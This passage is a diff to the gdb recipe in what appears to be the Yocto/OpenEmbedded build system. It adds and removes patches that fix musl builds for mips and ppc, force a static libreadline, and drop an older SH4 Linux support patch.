-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 23 Mar 2016 06:30:09 +0000
-Subject: [PATCH] mips-linux-nat: Define _ABIO32 if not defined
-
-This helps building gdb on mips64 on musl, since
-musl does not provide sgidefs.h this define is
-only defined when GCC is using o32 ABI, in that
-case gcc emits it as built-in define and hence
-it works ok for mips32
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gdb/mips-linux-nat.c | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/gdb/mips-linux-nat.c b/gdb/mips-linux-nat.c
-index 104c972f24..7f575b3363 100644
---- a/gdb/mips-linux-nat.c
-+++ b/gdb/mips-linux-nat.c
-@@ -41,6 +41,10 @@
- #ifndef PTRACE_GET_THREAD_AREA
- #define PTRACE_GET_THREAD_AREA 25
- #endif
-+/* musl does not define and relies on compiler built-in macros for it */
-+#ifndef _ABIO32
-+#define _ABIO32 1
-+#endif
-
- class mips_linux_nat_target final : public linux_nat_trad_target
- {
diff --git a/meta/recipes-devtools/gdb/gdb/0002-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch b/meta/recipes-devtools/gdb/gdb/0002-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch
new file mode 100644
index 0000000000..897cfd0df9
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb/0002-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch
@@ -0,0 +1,49 @@
+From 78748dc55b1ceafe9a64beb9628f1d51b215482f Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 30 Apr 2016 18:32:14 -0700
+Subject: [PATCH] ppc/ptrace: Define pt_regs uapi_pt_regs on !GLIBC systems
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gdb/nat/ppc-linux.h | 6 ++++++
+ gdbserver/linux-ppc-low.cc | 6 ++++++
+ 2 files changed, 12 insertions(+)
+
+diff --git a/gdb/nat/ppc-linux.h b/gdb/nat/ppc-linux.h
+index c84f9146bbd..8c8580c95e1 100644
+--- a/gdb/nat/ppc-linux.h
++++ b/gdb/nat/ppc-linux.h
+@@ -18,7 +18,13 @@
+ #ifndef NAT_PPC_LINUX_H
+ #define NAT_PPC_LINUX_H
+
++#if !defined(__GLIBC__)
++# define pt_regs uapi_pt_regs
++#endif
+ #include <asm/ptrace.h>
++#if !defined(__GLIBC__)
++# undef pt_regs
++#endif
+ #include <asm/cputable.h>
+
+ /* This sometimes isn't defined. */
+diff --git a/gdbserver/linux-ppc-low.cc b/gdbserver/linux-ppc-low.cc
+index 86fbc8f5d96..8a1a39bc750 100644
+--- a/gdbserver/linux-ppc-low.cc
++++ b/gdbserver/linux-ppc-low.cc
+@@ -23,7 +23,13 @@
+ #include "elf/common.h"
+ #include <sys/uio.h>
+ #include <elf.h>
++#if !defined(__GLIBC__)
++# define pt_regs uapi_pt_regs
++#endif
+ #include <asm/ptrace.h>
++#if !defined(__GLIBC__)
++# undef pt_regs
++#endif
+
+ #include "arch/ppc-linux-common.h"
+ #include "arch/ppc-linux-tdesc.h"
diff --git a/meta/recipes-devtools/gdb/gdb/0003-Dont-disable-libreadline.a-when-using-disable-static.patch b/meta/recipes-devtools/gdb/gdb/0003-Dont-disable-libreadline.a-when-using-disable-static.patch
new file mode 100644
index 0000000000..e41be8209e
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb/0003-Dont-disable-libreadline.a-when-using-disable-static.patch
@@ -0,0 +1,47 @@
+From 683650564cd231bbf09c7cbc35543b77ca0b10d0 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 30 Apr 2016 15:25:03 -0700
+Subject: [PATCH] Dont disable libreadline.a when using --disable-static
+
+If gdb is configured with --disable-static then this is dutifully passed to
+readline which then disables libreadline.a, which causes a problem when gdb
+tries to link against that.
+
+To ensure that readline always builds static libraries, pass --enable-static to
+the sub-configure.
+
+Upstream-Status: Pending
+Signed-off-by: Ross Burton <ross.burton@intel.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ Makefile.def | 3 ++-
+ Makefile.in | 2 +-
+ 2 files changed, 3 insertions(+), 2 deletions(-)
+
+diff --git a/Makefile.def b/Makefile.def
+index 870150183b9..eb3788da0d2 100644
+--- a/Makefile.def
++++ b/Makefile.def
+@@ -119,7 +119,8 @@ host_modules= { module= libiconv;
+ missing= install-html;
+ missing= install-info; };
+ host_modules= { module= m4; };
+-host_modules= { module= readline; };
++host_modules= { module= readline;
++ extra_configure_flags='--enable-static';};
+ host_modules= { module= sid; };
+ host_modules= { module= sim; };
+ host_modules= { module= texinfo; no_install= true; };
+diff --git a/Makefile.in b/Makefile.in
+index c97130a2338..a83f98e4778 100644
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -31691,7 +31691,7 @@ configure-readline:
+ $$s/$$module_srcdir/configure \
+ --srcdir=$${topdir}/$$module_srcdir \
+ $(HOST_CONFIGARGS) --build=${build_alias} --host=${host_alias} \
+- --target=${target_alias} \
++ --target=${target_alias} --enable-static \
+ || exit 1
+ @endif readline
+
diff --git a/meta/recipes-devtools/gdb/gdb/0003-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch b/meta/recipes-devtools/gdb/gdb/0003-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch
deleted file mode 100644
index c4bab7bb1a..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0003-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-From d5817bcf2f7313699bfa85b41220d862db327664 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 30 Apr 2016 18:32:14 -0700
-Subject: [PATCH] ppc/ptrace: Define pt_regs uapi_pt_regs on !GLIBC systems
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gdb/gdbserver/linux-ppc-low.c | 6 ++++++
- gdb/nat/ppc-linux.h | 6 ++++++
- 2 files changed, 12 insertions(+)
-
-diff --git a/gdb/gdbserver/linux-ppc-low.c b/gdb/gdbserver/linux-ppc-low.c
-index 5d8d67bec2..ffcf65ab58 100644
---- a/gdb/gdbserver/linux-ppc-low.c
-+++ b/gdb/gdbserver/linux-ppc-low.c
-@@ -23,7 +23,13 @@
- #include "elf/common.h"
- #include <sys/uio.h>
- #include <elf.h>
-+#if !defined(__GLIBC__)
-+# define pt_regs uapi_pt_regs
-+#endif
- #include <asm/ptrace.h>
-+#if !defined(__GLIBC__)
-+# undef pt_regs
-+#endif
-
- #include "arch/ppc-linux-common.h"
- #include "arch/ppc-linux-tdesc.h"
-diff --git a/gdb/nat/ppc-linux.h b/gdb/nat/ppc-linux.h
-index d937a65b69..1fd54b4a0e 100644
---- a/gdb/nat/ppc-linux.h
-+++ b/gdb/nat/ppc-linux.h
-@@ -18,7 +18,13 @@
- #ifndef NAT_PPC_LINUX_H
- #define NAT_PPC_LINUX_H
-
-+#if !defined(__GLIBC__)
-+# define pt_regs uapi_pt_regs
-+#endif
- #include <asm/ptrace.h>
-+#if !defined(__GLIBC__)
-+# undef pt_regs
-+#endif
- #include <asm/cputable.h>
-
- /* This sometimes isn't defined. */
diff --git a/meta/recipes-devtools/gdb/gdb/0004-Add-support-for-Renesas-SH-sh4-architecture.patch b/meta/recipes-devtools/gdb/gdb/0004-Add-support-for-Renesas-SH-sh4-architecture.patch
deleted file mode 100644
index fd165d4b81..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0004-Add-support-for-Renesas-SH-sh4-architecture.patch
+++ /dev/null
@@ -1,911 +0,0 @@
-From 505f10a0ea1a8bba0584859d9a348bb779593ec2 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 2 Mar 2015 02:31:12 +0000
-Subject: [PATCH] Add support for Renesas SH (sh4) architecture.
-
-gdb (7.4-1~cvs20111117.2) experimental; urgency=low
- .
- * Add Renesas SH (sh4) support (Closes: #576242)
- - Thanks Nobuhiro Iwamatsu, Takashi Yoshii.
-Author: Hector Oron <zumbi@debian.org>
-Bug-Debian: http://bugs.debian.org/576242
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gdb/Makefile.in | 2 +
- gdb/configure.host | 1 +
- gdb/sh-linux-tdep.c | 519 +++++++++++++++++++++++++++
- gdb/sh-tdep.c | 53 ++-
- gdb/sh-tdep.h | 49 +++
- gdb/testsuite/gdb.asm/asm-source.exp | 5 +
- gdb/testsuite/gdb.asm/sh.inc | 3 +-
- gdb/testsuite/gdb.base/annota1.c | 3 +
- gdb/testsuite/gdb.base/annota3.c | 4 +
- gdb/testsuite/gdb.base/sigall.c | 3 +
- gdb/testsuite/gdb.base/signals.c | 4 +
- 11 files changed, 617 insertions(+), 29 deletions(-)
-
-diff --git a/gdb/Makefile.in b/gdb/Makefile.in
-index c3e074b21f..42dd7af59c 100644
---- a/gdb/Makefile.in
-+++ b/gdb/Makefile.in
-@@ -2317,6 +2317,8 @@ ALLDEPFILES = \
- sh-nbsd-nat.c \
- sh-nbsd-tdep.c \
- sh-tdep.c \
-+ sh-linux-tdep.c \
-+ sh-linux-nat.c \
- sol2-tdep.c \
- solib-aix.c \
- solib-svr4.c \
-diff --git a/gdb/configure.host b/gdb/configure.host
-index ce52823729..5b5173a71a 100644
---- a/gdb/configure.host
-+++ b/gdb/configure.host
-@@ -148,6 +148,7 @@ riscv*-*-linux*) gdb_host=linux ;;
-
- s390*-*-linux*) gdb_host=linux ;;
-
-+sh*-*-linux*) gdb_host=linux ;;
- sh*-*-netbsdelf* | sh*-*-knetbsd*-gnu)
- gdb_host=nbsd ;;
- sh*-*-openbsd*) gdb_host=nbsd ;;
-diff --git a/gdb/sh-linux-tdep.c b/gdb/sh-linux-tdep.c
-index 13c10eeeda..1d0d583a64 100644
---- a/gdb/sh-linux-tdep.c
-+++ b/gdb/sh-linux-tdep.c
-@@ -18,14 +18,37 @@
- along with this program. If not, see <http://www.gnu.org/licenses/>. */
-
- #include "defs.h"
-+#include "gdbcore.h"
-+#include "frame.h"
-+#include "frame-base.h"
-+#include "frame-unwind.h"
-+#include "dwarf2-frame.h"
-+#include "value.h"
-+#include "regcache.h"
-+#include "inferior.h"
- #include "osabi.h"
-
-+#include "reggroups.h"
-+#include "arch-utils.h"
-+#include "floatformat.h"
- #include "solib-svr4.h"
- #include "symtab.h"
-+#include "gdb_string.h"
-+#include "command.h"
-+#include "gdb_assert.h"
-
- #include "trad-frame.h"
- #include "tramp-frame.h"
-
-+#include <sys/ptrace.h>
-+#include <sys/types.h>
-+#include <sys/param.h>
-+#include <sys/user.h>
-+#include <sys/syscall.h>
-+
-+#include <asm/ptrace.h>
-+
-+#include "regset.h"
- #include "glibc-tdep.h"
- #include "sh-tdep.h"
- #include "linux-tdep.h"
-@@ -181,9 +204,505 @@ static struct tramp_frame sh_linux_rt_sigreturn_tramp_frame = {
- sh_linux_rt_sigreturn_init
- };
-
-+/* Recognizing signal handler frames. */
-+
-+/* GNU/Linux has two flavors of signals. Normal signal handlers, and
-+ "realtime" (RT) signals. The RT signals can provide additional
-+ information to the signal handler if the SA_SIGINFO flag is set
-+ when establishing a signal handler using `sigaction'. It is not
-+ unlikely that future versions of GNU/Linux will support SA_SIGINFO
-+ for normal signals too. */
-+
-+/* When the SH Linux kernel calls a signal handler and the
-+ SA_RESTORER flag isn't set, the return address points to a bit of
-+ code on the stack. This function returns whether the PC appears to
-+ be within this bit of code.
-+
-+ The instruction sequence for normal signals is
-+ mov.w 1f,r3
-+ trapa #16
-+ or r0, r0
-+ or r0, r0
-+ or r0, r0
-+ or r0, r0
-+ or r0, r0
-+ 1: .word __NR_sigreturn
-+ or 0x9305 0xc310 0x200b 0x200b 0x200b 0x200b 0x200b 0x0077.
-+
-+ Checking for the code sequence should be somewhat reliable, because
-+ the effect is to call the system call sigreturn. This is unlikely
-+ to occur anywhere other than a signal trampoline.
-+
-+ It kind of sucks that we have to read memory from the process in
-+ order to identify a signal trampoline, but there doesn't seem to be
-+ any other way. The PC_IN_SIGTRAMP macro in tm-linux.h arranges to
-+ only call us if no function name could be identified, which should
-+ be the case since the code is on the stack.
-+
-+ Detection of signal trampolines for handlers that set the
-+ SA_RESTORER flag is in general not possible. Unfortunately this is
-+ what the GNU C Library has been doing for quite some time now.
-+ However, as of version 2.1.2, the GNU C Library uses signal
-+ trampolines (named __restore and __restore_rt) that are identical
-+ to the ones used by the kernel. Therefore, these trampolines are
-+ supported too. */
-+
-+#define MOVW(n) (0x9300|((n)-2)) /* Move mem word at PC+n to R3 */
-+#define TRAP16 0xc310 /* Syscall w/no args (NR in R3) */
-+#define OR_R0_R0 0x200b /* or r0,r0 (insert to avoid hardware bug) */
-+
-+#define LINUX_SIGTRAMP_INSN0 MOVW(7) /* Move mem word at PC+7 to R3 */
-+#define LINUX_SIGTRAMP_INSN1 TRAP16 /* Syscall w/no args (NR in R3) */
-+#define LINUX_SIGTRAMP_INSN2 OR_R0_R0 /* or r0,r0 (insert to avoid hardware bug) */
-+
-+static const unsigned short linux_sigtramp_code[] =
-+{
-+ LINUX_SIGTRAMP_INSN0,
-+ LINUX_SIGTRAMP_INSN1,
-+ LINUX_SIGTRAMP_INSN2,
-+ LINUX_SIGTRAMP_INSN2,
-+ LINUX_SIGTRAMP_INSN2,
-+ LINUX_SIGTRAMP_INSN2,
-+ LINUX_SIGTRAMP_INSN2,
-+ __NR_sigreturn
-+};
-+
-+#define LINUX_SIGTRAMP_LEN (sizeof linux_sigtramp_code)
-+
-+/* If PC is in a sigtramp routine, return the address of the start of
-+ the routine. Otherwise, return 0. */
-+
-+static CORE_ADDR
-+sh_linux_sigtramp_start (struct frame_info *next_frame)
-+{
-+ CORE_ADDR pc = get_frame_pc (next_frame);
-+ gdb_byte buf[LINUX_SIGTRAMP_LEN];
-+
-+ /* We only recognize a signal trampoline if PC is at the start of
-+ one of the three instructions. We optimize for finding the PC at
-+ the start, as will be the case when the trampoline is not the
-+ first frame on the stack. We assume that in the case where the
-+ PC is not at the start of the instruction sequence, there will be
-+ a few trailing readable bytes on the stack. */
-+
-+ if (!safe_frame_unwind_memory (next_frame, pc, buf, LINUX_SIGTRAMP_LEN))
-+ return 0;
-+
-+ if (buf[0] != LINUX_SIGTRAMP_INSN0)
-+ {
-+ if (buf[0] != LINUX_SIGTRAMP_INSN1)
-+ return 0;
-+
-+ pc -= 2;
-+
-+ if (!safe_frame_unwind_memory (next_frame, pc, buf, LINUX_SIGTRAMP_LEN))
-+ return 0;
-+ }
-+
-+ if (memcmp (buf, linux_sigtramp_code, LINUX_SIGTRAMP_LEN) != 0)
-+ return 0;
-+
-+ return pc;
-+}
-+
-+/* This function does the same for RT signals. Here the instruction
-+ sequence is
-+ mov.w 1f,r3
-+ trapa #16
-+ or r0, r0
-+ or r0, r0
-+ or r0, r0
-+ or r0, r0
-+ or r0, r0
-+ 1: .word __NR_rt_sigreturn
-+ or 0x9305 0xc310 0x200b 0x200b 0x200b 0x200b 0x200b 0x00ad.
-+
-+ The effect is to call the system call rt_sigreturn. */
-+
-+#define LINUX_RT_SIGTRAMP_INSN0 MOVW(7) /* Move mem word at PC+7 to R3 */
-+#define LINUX_RT_SIGTRAMP_INSN1 TRAP16 /* Syscall w/no args (NR in R3) */
-+#define LINUX_RT_SIGTRAMP_INSN2 OR_R0_R0 /* or r0,r0 (insert to avoid hardware bug) */
-+
-+static const unsigned short linux_rt_sigtramp_code[] =
-+{
-+ LINUX_RT_SIGTRAMP_INSN0,
-+ LINUX_RT_SIGTRAMP_INSN1,
-+ LINUX_RT_SIGTRAMP_INSN2,
-+ LINUX_RT_SIGTRAMP_INSN2,
-+ LINUX_RT_SIGTRAMP_INSN2,
-+ LINUX_RT_SIGTRAMP_INSN2,
-+ LINUX_RT_SIGTRAMP_INSN2,
-+ __NR_rt_sigreturn
-+};
-+
-+#define LINUX_RT_SIGTRAMP_LEN (sizeof linux_rt_sigtramp_code)
-+
-+/* If PC is in a RT sigtramp routine, return the address of the start
-+ of the routine. Otherwise, return 0. */
-+
-+static CORE_ADDR
-+sh_linux_rt_sigtramp_start (struct frame_info *next_frame)
-+{
-+ CORE_ADDR pc = get_frame_pc (next_frame);
-+ gdb_byte buf[LINUX_RT_SIGTRAMP_LEN];
-+
-+ /* We only recognize a signal trampoline if PC is at the start of
-+ one of the two instructions. We optimize for finding the PC at
-+ the start, as will be the case when the trampoline is not the
-+ first frame on the stack. We assume that in the case where the
-+ PC is not at the start of the instruction sequence, there will be
-+ a few trailing readable bytes on the stack. */
-+
-+ if (!safe_frame_unwind_memory (next_frame, pc, buf, LINUX_RT_SIGTRAMP_LEN))
-+ return 0;
-+
-+ if (buf[0] != LINUX_RT_SIGTRAMP_INSN0)
-+ {
-+ if (buf[0] != LINUX_RT_SIGTRAMP_INSN1)
-+ return 0;
-+
-+ pc -= 2;
-+
-+ if (!safe_frame_unwind_memory (next_frame, pc, buf,
-+ LINUX_RT_SIGTRAMP_LEN))
-+ return 0;
-+ }
-+
-+ if (memcmp (buf, linux_rt_sigtramp_code, LINUX_RT_SIGTRAMP_LEN) != 0)
-+ return 0;
-+
-+ return pc;
-+}
-+
-+/* Return whether PC is in a GNU/Linux sigtramp routine. */
-+
-+static int
-+sh_linux_sigtramp_p (struct frame_info *this_frame)
-+{
-+ CORE_ADDR pc = get_frame_pc (this_frame);
-+ char *name;
-+
-+ find_pc_partial_function (pc, &name, NULL, NULL);
-+
-+ /* If we have NAME, we can optimize the search. The trampolines are
-+ named __restore and __restore_rt. However, they aren't dynamically
-+ exported from the shared C library, so the trampoline may appear to
-+ be part of the preceding function. This should always be sigaction,
-+ __sigaction, or __libc_sigaction (all aliases to the same function). */
-+ if (name == NULL || strstr (name, "sigaction") != NULL)
-+ return (sh_linux_sigtramp_start (this_frame) != 0
-+ || sh_linux_rt_sigtramp_start (this_frame) != 0);
-+
-+ return (strcmp ("__restore", name) == 0
-+ || strcmp ("__restore_rt", name) == 0);
-+}
-+
-+/* Offset to struct sigcontext in ucontext, from <asm/ucontext.h>. */
-+#define SH_LINUX_UCONTEXT_SIGCONTEXT_OFFSET 12
-+
-+
-+/* Assuming NEXT_FRAME is a frame following a GNU/Linux sigtramp
-+ routine, return the address of the associated sigcontext structure. */
-+
-+static CORE_ADDR
-+sh_linux_sigcontext_addr (struct frame_info *this_frame)
-+{
-+ CORE_ADDR pc;
-+ CORE_ADDR sp;
-+
-+ sp = get_frame_register_unsigned (this_frame, SP_REGNUM);
-+
-+ pc = sh_linux_sigtramp_start (this_frame);
-+ if (pc)
-+ {
-+ return sp;
-+ }
-+
-+ pc = sh_linux_rt_sigtramp_start (this_frame);
-+ if (pc)
-+ {
-+ CORE_ADDR ucontext_addr;
-+
-+ /* The sigcontext structure is part of the user context. A
-+ pointer to the user context is passed as the third argument
-+ to the signal handler. */
-+ ucontext_addr = get_frame_register_unsigned (this_frame, ARG0_REGNUM+2);
-+ return ucontext_addr + SH_LINUX_UCONTEXT_SIGCONTEXT_OFFSET;
-+ }
-+
-+ error ("Couldn't recognize signal trampoline.");
-+ return 0;
-+}
-+
-+/* Signal trampolines. */
-+extern struct sh_frame_cache *sh_alloc_frame_cache (void);
-+
-+static struct sh_frame_cache *
-+sh_linux_sigtramp_frame_cache (struct frame_info *this_frame, void **this_cache)
-+{
-+ struct sh_frame_cache *cache;
-+ struct gdbarch_tdep *tdep = gdbarch_tdep (get_current_arch ());
-+ CORE_ADDR sigcontext_addr;
-+
-+ if (*this_cache)
-+ return *this_cache;
-+
-+ cache = sh_alloc_frame_cache ();
-+
-+ cache->base = get_frame_register_unsigned (this_frame, SP_REGNUM);
-+ sigcontext_addr = tdep->sigcontext_addr (this_frame);
-+ if (tdep->sc_reg_offset)
-+ {
-+ int i;
-+
-+ gdb_assert (tdep->sc_num_regs <= SH_NUM_REGS);
-+
-+ for (i = 0; i < tdep->sc_num_regs; i++)
-+ if (tdep->sc_reg_offset[i] != -1)
-+ cache->saved_regs[i] = sigcontext_addr + tdep->sc_reg_offset[i];
-+ }
-+
-+ *this_cache = cache;
-+ return cache;
-+}
-+
-+static void
-+sh_linux_sigtramp_frame_this_id (struct frame_info *this_frame, void **this_cache,
-+ struct frame_id *this_id)
-+{
-+ struct sh_frame_cache *cache =
-+ sh_linux_sigtramp_frame_cache (this_frame, this_cache);
-+
-+ (*this_id) = frame_id_build (cache->base + 64, cache->pc);
-+}
-+
-+extern struct value * sh_frame_prev_register ();
-+static struct value *
-+sh_linux_sigtramp_frame_prev_register (struct frame_info *this_frame,
-+ void **this_cache, int regnum)
-+{
-+ sh_linux_sigtramp_frame_cache (this_frame, this_cache);
-+
-+ return sh_frame_prev_register (this_frame, this_cache, regnum);
-+}
-+
-+static int
-+sh_linux_sigtramp_frame_sniffer (const struct frame_unwind *self,
-+ struct frame_info *this_frame,
-+ void **this_prologue_cache)
-+{
-+ struct gdbarch_tdep *tdep = gdbarch_tdep (get_frame_arch (this_frame));
-+
-+ /* We shouldn't even bother if we don't have a sigcontext_addr
-+ handler. */
-+ if (tdep->sigcontext_addr == NULL)
-+ return 0;
-+
-+ if (tdep->sigtramp_p != NULL)
-+ {
-+ if (tdep->sigtramp_p (this_frame))
-+ return 1;
-+ }
-+
-+ return 0;
-+}
-+
-+static const struct frame_unwind sh_linux_sigtramp_frame_unwind =
-+{
-+ SIGTRAMP_FRAME,
-+ sh_linux_sigtramp_frame_this_id,
-+ sh_linux_sigtramp_frame_prev_register,
-+ NULL,
-+ sh_linux_sigtramp_frame_sniffer
-+};
-+
-+/* Supply register REGNUM from the buffer specified by GREGS and LEN
-+ in the general-purpose register set REGSET to register cache
-+ REGCACHE. If REGNUM is -1, do this for all registers in REGSET. */
-+
-+void
-+sh_supply_gregset (const struct regset *regset, struct regcache *regcache,
-+ int regnum, const void *gregs, size_t len)
-+{
-+ const struct gdbarch_tdep *tdep = gdbarch_tdep (regset->arch);
-+ const char *regs = gregs;
-+ int i;
-+
-+ gdb_assert (len == tdep->sizeof_gregset);
-+
-+ for (i = 0; i < tdep->gregset_num_regs; i++)
-+ {
-+ if ((regnum == i || regnum == -1)
-+ && tdep->gregset_reg_offset[i] != -1)
-+ regcache_raw_supply (regcache, i, regs + tdep->gregset_reg_offset[i]);
-+ }
-+}
-+
-+/* Collect register REGNUM from the register cache REGCACHE and store
-+ it in the buffer specified by GREGS and LEN as described by the
-+ general-purpose register set REGSET. If REGNUM is -1, do this for
-+ all registers in REGSET. */
-+
-+void
-+sh_collect_gregset (const struct regset *regset,
-+ const struct regcache *regcache,
-+ int regnum, void *gregs, size_t len)
-+{
-+ const struct gdbarch_tdep *tdep = gdbarch_tdep (regset->arch);
-+ char *regs = gregs;
-+ int i;
-+
-+ gdb_assert (len == tdep->sizeof_gregset);
-+
-+ for (i = 0; i < tdep->gregset_num_regs; i++)
-+ {
-+ if ((regnum == i || regnum == -1)
-+ && tdep->gregset_reg_offset[i] != -1)
-+ regcache_raw_collect (regcache, i, regs + tdep->gregset_reg_offset[i]);
-+ }
-+}
-+
-+/* Supply register REGNUM from the buffer specified by FPREGS and LEN
-+ in the floating-point register set REGSET to register cache
-+ REGCACHE. If REGNUM is -1, do this for all registers in REGSET. */
-+
-+static void
-+sh_supply_fpregset (const struct regset *regset, struct regcache *regcache,
-+ int regnum, const void *fpregs, size_t len)
-+{
-+ const struct gdbarch_tdep *tdep = gdbarch_tdep (regset->arch);
-+ const char *regs = fpregs;
-+ int i;
-+
-+ gdb_assert (len == tdep->sizeof_fpregset);
-+ for (i = 0; i < 16; i++)
-+ {
-+ if (regnum == i+25 || regnum == -1)
-+ regcache_raw_supply (regcache, i+25, regs + i*4);
-+ }
-+ if (regnum == FPSCR_REGNUM || regnum == -1)
-+ regcache_raw_supply (regcache, FPSCR_REGNUM, regs + 32*4);
-+ if (regnum == FPUL_REGNUM || regnum == -1)
-+ regcache_raw_supply (regcache, FPUL_REGNUM, regs + 33*4);
-+}
-+
-+/* Collect register REGNUM from the register cache REGCACHE and store
-+ it in the buffer specified by FPREGS and LEN as described by the
-+ floating-point register set REGSET. If REGNUM is -1, do this for
-+ all registers in REGSET. */
-+
-+static void
-+sh_collect_fpregset (const struct regset *regset,
-+ const struct regcache *regcache,
-+ int regnum, void *fpregs, size_t len)
-+{
-+ const struct gdbarch_tdep *tdep = gdbarch_tdep (regset->arch);
-+ char *regs = fpregs;
-+ int i;
-+
-+ gdb_assert (len == tdep->sizeof_fpregset);
-+ for (i = 0; i < 16; i++)
-+ {
-+ if (regnum == i+25 || regnum == -1)
-+ regcache_raw_collect (regcache, i+25, regs + i*4);
-+ }
-+ if (regnum == FPSCR_REGNUM || regnum == -1)
-+ regcache_raw_collect (regcache, FPSCR_REGNUM, regs + 32*4);
-+ if (regnum == FPUL_REGNUM || regnum == -1)
-+ regcache_raw_collect (regcache, FPUL_REGNUM, regs + 33*4);
-+}
-+
-+/* Return the appropriate register set for the core section identified
-+ by SECT_NAME and SECT_SIZE. */
-+
-+const struct regset *
-+sh_linux_regset_from_core_section (struct gdbarch *gdbarch,
-+ const char *sect_name, size_t sect_size)
-+{
-+ struct gdbarch_tdep *tdep = gdbarch_tdep (gdbarch);
-+
-+ if (strcmp (sect_name, ".reg") == 0 && sect_size == tdep->sizeof_gregset)
-+ {
-+ if (tdep->gregset == NULL)
-+ tdep->gregset = regset_alloc (gdbarch, sh_supply_gregset,
-+ sh_collect_gregset);
-+ return tdep->gregset;
-+ }
-+
-+ if ((strcmp (sect_name, ".reg2") == 0 && sect_size == tdep->sizeof_fpregset))
-+ {
-+ if (tdep->fpregset == NULL)
-+ tdep->fpregset = regset_alloc (gdbarch, sh_supply_fpregset,
-+ sh_collect_fpregset);
-+ return tdep->fpregset;
-+ }
-+
-+ return NULL;
-+}
-+
-+/* The register sets used in GNU/Linux ELF core-dumps are identical to
-+ the register sets in `struct user' that are used for a.out
-+ core-dumps. These are also used by ptrace(2). The corresponding
-+ types are `elf_gregset_t' for the general-purpose registers (with
-+ `elf_greg_t' the type of a single GP register) and `elf_fpregset_t'
-+ for the floating-point registers.
-+
-+ Those types used to be available under the names `gregset_t' and
-+ `fpregset_t' too, and GDB used those names in the past. But those
-+ names are now used for the register sets used in the `mcontext_t'
-+ type, which have a different size and layout. */
-+
-+/* Mapping between the general-purpose registers in `struct user'
-+ format and GDB's register cache layout. */
-+
-+/* From <sys/reg.h>. */
-+static int sh_linux_gregset_reg_offset[] =
-+{
-+ 0, 4, 8, 12, 16, 20, 24, 28,
-+ 32, 36, 40, 44, 48, 52, 56, 60,
-+
-+ REG_PC*4, REG_PR*4, REG_GBR*4, -1,
-+ REG_MACH*4, REG_MACL*4, REG_SR*4,
-+};
-+
-+/* Mapping between the general-purpose registers in `struct
-+ sigcontext' format and GDB's register cache layout. */
-+
-+/* From <asm/sigcontext.h>. */
-+static int sh_linux_sc_reg_offset[] =
-+{
-+ 4, 8, 12, 16, 20, 24, 28, 32,
-+ 36, 40, 44, 48, 52, 56, 60, 64,
-+ 68, 72, 80, -1,
-+ 84, 88, 76
-+};
-+
- static void
- sh_linux_init_abi (struct gdbarch_info info, struct gdbarch *gdbarch)
- {
-+ struct gdbarch_tdep *tdep = gdbarch_tdep (gdbarch);
-+ bfd abfd;
-+
-+ tdep->gregset_reg_offset = sh_linux_gregset_reg_offset;
-+ tdep->gregset_num_regs = ARRAY_SIZE (sh_linux_gregset_reg_offset);
-+ tdep->sizeof_gregset = 23 * 4;
-+
-+ tdep->jb_pc_offset = 32; /* From <bits/setjmp.h>. */
-+
-+ tdep->sigtramp_p = sh_linux_sigtramp_p;
-+ tdep->sigcontext_addr = sh_linux_sigcontext_addr;
-+ tdep->sc_reg_offset = sh_linux_sc_reg_offset;
-+ tdep->sc_num_regs = ARRAY_SIZE (sh_linux_sc_reg_offset);
-+
-+ frame_unwind_append_unwinder(gdbarch, &sh_linux_sigtramp_frame_unwind);
-+
-+ /* If we have a register mapping, enable the generic core file
-+ support, unless it has already been enabled. */
-+ if (tdep->gregset_reg_offset
-+ && !gdbarch_regset_from_core_section_p (gdbarch))
-+ set_gdbarch_regset_from_core_section (gdbarch,
-+ sh_linux_regset_from_core_section);
-+
- linux_init_abi (info, gdbarch);
-
- /* GNU/Linux uses SVR4-style shared libraries. */
-diff --git a/gdb/sh-tdep.c b/gdb/sh-tdep.c
-index e3aee0ac28..5958cf3688 100644
---- a/gdb/sh-tdep.c
-+++ b/gdb/sh-tdep.c
-@@ -21,6 +21,9 @@
- sac@cygnus.com. */
-
- #include "defs.h"
-+#include "arch-utils.h"
-+#include "command.h"
-+#include "dummy-frame.h"
- #include "frame.h"
- #include "frame-base.h"
- #include "frame-unwind.h"
-@@ -66,23 +69,6 @@ static const char *const sh_cc_enum[] = {
-
- static const char *sh_active_calling_convention = sh_cc_gcc;
-
--#define SH_NUM_REGS 67
--
--struct sh_frame_cache
--{
-- /* Base address. */
-- CORE_ADDR base;
-- LONGEST sp_offset;
-- CORE_ADDR pc;
--
-- /* Flag showing that a frame has been created in the prologue code. */
-- int uses_fp;
--
-- /* Saved registers. */
-- CORE_ADDR saved_regs[SH_NUM_REGS];
-- CORE_ADDR saved_sp;
--};
--
- static int
- sh_is_renesas_calling_convention (struct type *func_type)
- {
-@@ -1050,7 +1036,7 @@ sh_treat_as_flt_p (struct type *type)
- return 0;
- /* Otherwise if the type of that member is float, the whole type is
- treated as float. */
